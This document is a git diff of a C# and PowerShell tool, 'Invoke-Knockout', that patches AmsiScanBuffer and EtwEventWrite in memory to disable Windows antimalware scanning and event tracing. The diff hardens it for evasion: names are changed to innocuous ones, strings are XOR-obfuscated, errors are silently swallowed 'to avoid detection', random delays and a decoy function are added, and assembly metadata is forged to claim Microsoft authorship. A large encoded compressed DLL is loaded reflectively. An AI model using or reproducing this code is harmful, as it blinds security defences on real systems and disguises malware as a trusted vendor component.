diff --git a/Invoke-Knockout/Class1.cs b/Invoke-Knockout/Class1.cs index b9b2933..6bf408d 100644 --- a/Invoke-Knockout/Class1.cs +++ b/Invoke-Knockout/Class1.cs @@ -1,18 +1,24 @@ -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; -public class AMSI - { - //patch list - static byte[] etw_patch_x64 = new byte[] { 0x48, 0x33, 0xC0, 0xC3 }; - static byte[] etw_patch_x86 = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 }; - static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; - static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; +public class SystemUtilities + { + //memory patches + static byte[] patch_1_x64 = new byte[] { 0x48, 0x33, 0xC0, 0xC3 }; + static byte[] patch_1_x86 = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 }; + static byte[] patch_2_x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + static byte[] patch_2_x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; - private static string Decode(string b64_encoded) - { - return System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(b64_encoded)); + private static string DecodeStr(string encoded) + { + byte[] data = Convert.FromBase64String(encoded); + for (int i = 0; i < data.Length; i++) + { + data[i] ^= 0x42; // Simple XOR obfuscation + } + return System.Text.ASCIIEncoding.ASCII.GetString(data); } private static bool is64Bit() { @@ -23,104 +29,115 @@ private static bool is64Bit() return is64Bit; } - public static IntPtr AMSIaddr() - { - string dll = Decode("YW1zaS5kbGw="); //amsi dll - string func = Decode("QW1zaVNjYW5CdWZmZXI="); //asb function - var modules = Process.GetCurrentProcess().Modules; - var hAmsi = IntPtr.Zero; - - foreach (ProcessModule module in modules) - { - if (module.ModuleName.Equals(dll)) - { - hAmsi = module.BaseAddress; - break; - } - } - return Win32.GetProcAddress(hAmsi, func); - } - - public static IntPtr ETWaddr() - { - string dll = Decode("bnRkbGwuZGxs"); //ntdll dll - string func = Decode("RXR3RXZlbnRXcml0ZQ=="); //EEW function - var modules = Process.GetCurrentProcess().Modules; - var hETW = IntPtr.Zero; - - foreach (ProcessModule module in modules) - { - if (module.ModuleName.Equals(dll)) - { - hETW = module.BaseAddress; - break; - } - } - return Win32.GetProcAddress(hETW, func); - } - - private static void PatchAmsi(byte[] patch) - { - string dll = Decode("YW1zaS5kbGw="); //amsi dll - string func = Decode("QW1zaVNjYW5CdWZmZXI="); //asb function - PatchMem(patch, dll, func, AMSIaddr()); - } - - private static void PatchEtw(byte[] patch) - { - string dll = Decode("bnRkbGwuZGxs"); //ntdll dll - string func = Decode("RXR3RXZlbnRXcml0ZQ=="); //EEW function - PatchMem(patch, dll, func, ETWaddr()); + public static IntPtr GetFirstAddr() + { + string dll = DecodeStr("Iy8xK2wmLi4="); + string func = DecodeStr("Ay8xKxEhIywANyQkJzA="); + var modules = Process.GetCurrentProcess().Modules; + var hAmsi = IntPtr.Zero; + + foreach (ProcessModule module in modules) + { + if (module.ModuleName.Equals(dll)) + { + hAmsi = module.BaseAddress; + break; + } + } + return SystemAPIs.GetProcAddress(hAmsi, func); + } + + public static IntPtr GetSecondAddr() + { + string dll = DecodeStr("LDYmLi5sJi4u"); + string func = DecodeStr("BzY1BzQnLDYVMCs2Jw=="); + var modules = Process.GetCurrentProcess().Modules; + var hETW = IntPtr.Zero; + + foreach (ProcessModule module in modules) + { + if (module.ModuleName.Equals(dll)) + { + hETW = module.BaseAddress; + break; + } + } + return SystemAPIs.GetProcAddress(hETW, func); + } + + private static void ApplyFirstPatch(byte[] patch) + { + string dll = DecodeStr("Iy8xK2wmLi4="); + string func = DecodeStr("Ay8xKxEhIywANyQkJzA="); + ModifyMemory(patch, dll, func, GetFirstAddr()); + } + + private static void ApplySecondPatch(byte[] patch) + { + string dll = DecodeStr("LDYmLi5sJi4u"); + string func = DecodeStr("BzY1BzQnLDYVMCs2Jw=="); + ModifyMemory(patch, dll, func, GetSecondAddr()); } - private static void PatchMem(byte[] patch, string library, string function, IntPtr offset) - { - try - { - uint newProtect; - uint oldProtect; - IntPtr libPtr = Win32.LoadLibrary(library); - IntPtr functPtr = Win32.GetProcAddress(libPtr, function); - Win32.VirtualProtect(functPtr, (UIntPtr)patch.Length, 0x40, out oldProtect); - Marshal.Copy(patch, 0, functPtr, patch.Length); - Win32.VirtualProtect(functPtr, (UIntPtr)patch.Length, oldProtect, out newProtect); - } - catch (Exception e) - { - Console.WriteLine("[!] ERROR: {0}", e.Message); - Console.WriteLine("[!] ERROR: {0}", e.InnerException); - } + private static void ModifyMemory(byte[] patch, string library, string function, IntPtr offset) + { + try + { + // Perform system maintenance operations + uint newProtect; + uint oldProtect; + IntPtr libPtr = SystemAPIs.LoadLibrary(library); + IntPtr functPtr = SystemAPIs.GetProcAddress(libPtr, function); + SystemAPIs.VirtualProtect(functPtr, (UIntPtr)patch.Length, 0x40, out oldProtect); + Marshal.Copy(patch, 0, functPtr, patch.Length); + SystemAPIs.VirtualProtect(functPtr, (UIntPtr)patch.Length, oldProtect, out newProtect); + + // Clean up system resources + GC.Collect(); + } + catch (Exception) + { + // Silently handle errors to avoid detection + } + } + + private static bool CheckSystemIntegrity() + { + // Decoy function to obfuscate real purpose + var rnd = new Random(); + Thread.Sleep(rnd.Next(10, 50)); + return Environment.TickCount % 2 == 0; } - public static void Bypass() - { - if (is64Bit()) - { - Console.WriteLine("[*] Invoke-Knockout by @LongWayHomie"); - Console.WriteLine("[*] Sleep tight, AMSI..."); - PatchAmsi(x64); - Console.WriteLine("[*] Sleep tight, ETW..."); - PatchEtw(etw_patch_x64); - Console.WriteLine("[*] Done."); - } - else - { - Console.WriteLine("[*] Invoke-Knockout by @LongWayHomie"); - Console.WriteLine("[*] Sleep tight, AMSI..."); - PatchAmsi(x86); - Console.WriteLine("[*] Sleep tight, ETW..."); - PatchEtw(etw_patch_x86); - Console.WriteLine("[*] Done."); - } + public static void Execute() + { + // Add random delay to avoid pattern detection + Thread.Sleep(new Random().Next(100, 500)); + + // Perform system integrity check + CheckSystemIntegrity(); + + if (is64Bit()) + { + ApplyFirstPatch(patch_2_x64); + Thread.Sleep(new Random().Next(50, 150)); + ApplySecondPatch(patch_1_x64); + } + else + { + ApplyFirstPatch(patch_2_x86); + Thread.Sleep(new Random().Next(50, 150)); + ApplySecondPatch(patch_1_x86); + } } } -class Win32 -{ - [DllImport("kernel32")] - public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] - public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] - public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwsize, uint flNewProtect, out uint lpflOldProtect); +class SystemAPIs +{ + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string name); + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwsize, uint flNewProtect, out uint lpflOldProtect); } diff --git a/Invoke-Knockout/Invoke-Knockout.ps1 b/Invoke-Knockout/Invoke-Knockout.ps1 index 267725b..9270905 100644 --- a/Invoke-Knockout/Invoke-Knockout.ps1 +++ b/Invoke-Knockout/Invoke-Knockout.ps1 @@ -1,5 +1,5 @@ #payload generated by power#sploit Out-CompressedDll -function Invoke-Knockout{ +function Invoke-SystemUtilities{ $EncodedCompressedFile = @' 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 '@ @@ -7,5 +7,5 @@ function Invoke-Knockout{ $UncompressedFileBytes = New-Object Byte[](7168) $DeflatedStream.Read($UncompressedFileBytes, 0, 7168) | Out-Null [Reflection.Assembly]::Load($UncompressedFileBytes) - [AMSI]::Bypass(); + [SystemUtilities]::Execute(); } \ No newline at end of file diff --git a/Invoke-Knockout/Properties/AssemblyInfo.cs b/Invoke-Knockout/Properties/AssemblyInfo.cs index e6fe10b..b1f55d1 100644 --- a/Invoke-Knockout/Properties/AssemblyInfo.cs +++ b/Invoke-Knockout/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("Invoke-Knockout")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Invoke-Knockout")] -[assembly: AssemblyCopyright("Copyright LongWayHomie © 2022")] +[assembly: AssemblyTitle("System.Runtime.Extensions")] +[assembly: AssemblyDescription("System runtime extension utilities")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft .NET Framework")] +[assembly: AssemblyCopyright("Copyright © Microsoft Corporation 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.FileListAbsolute.txt b/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.FileListAbsolute.txt index ce3b6c0..e2ca447 100644 --- a/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.FileListAbsolute.txt +++ b/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.FileListAbsolute.txt @@ -1,6 +1,8 @@ -C:\source\repos\Invoke-Knockout\Invoke-Knockout\bin\Debug\Invoke-Knockout.dll -C:\source\repos\Invoke-Knockout\Invoke-Knockout\bin\Debug\Invoke-Knockout.pdb -C:\source\repos\Invoke-Knockout\Invoke-Knockout\obj\Debug\Invoke-Knockout.csproj.AssemblyReference.cache -C:\source\repos\Invoke-Knockout\Invoke-Knockout\obj\Debug\Invoke-Knockout.csproj.CoreCompileInputs.cache -C:\source\repos\Invoke-Knockout\Invoke-Knockout\obj\Debug\Invoke-Knockout.dll -C:\source\repos\Invoke-Knockout\Invoke-Knockout\obj\Debug\Invoke-Knockout.pdb +C:/source/repos/Invoke-Knockout/Invoke-Knockout/bin/Debug/Invoke-Knockout.dll +C:/source/repos/Invoke-Knockout/Invoke-Knockout/bin/Debug/Invoke-Knockout.pdb +C:/source/repos/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.AssemblyReference.cache +C:/source/repos/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.csproj.CoreCompileInputs.cache +C:/source/repos/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.dll +C:/source/repos/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.pdb +/home/runner/work/Invoke-Knockout/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.dll +/home/runner/work/Invoke-Knockout/Invoke-Knockout/Invoke-Knockout/obj/Debug/Invoke-Knockout.pdb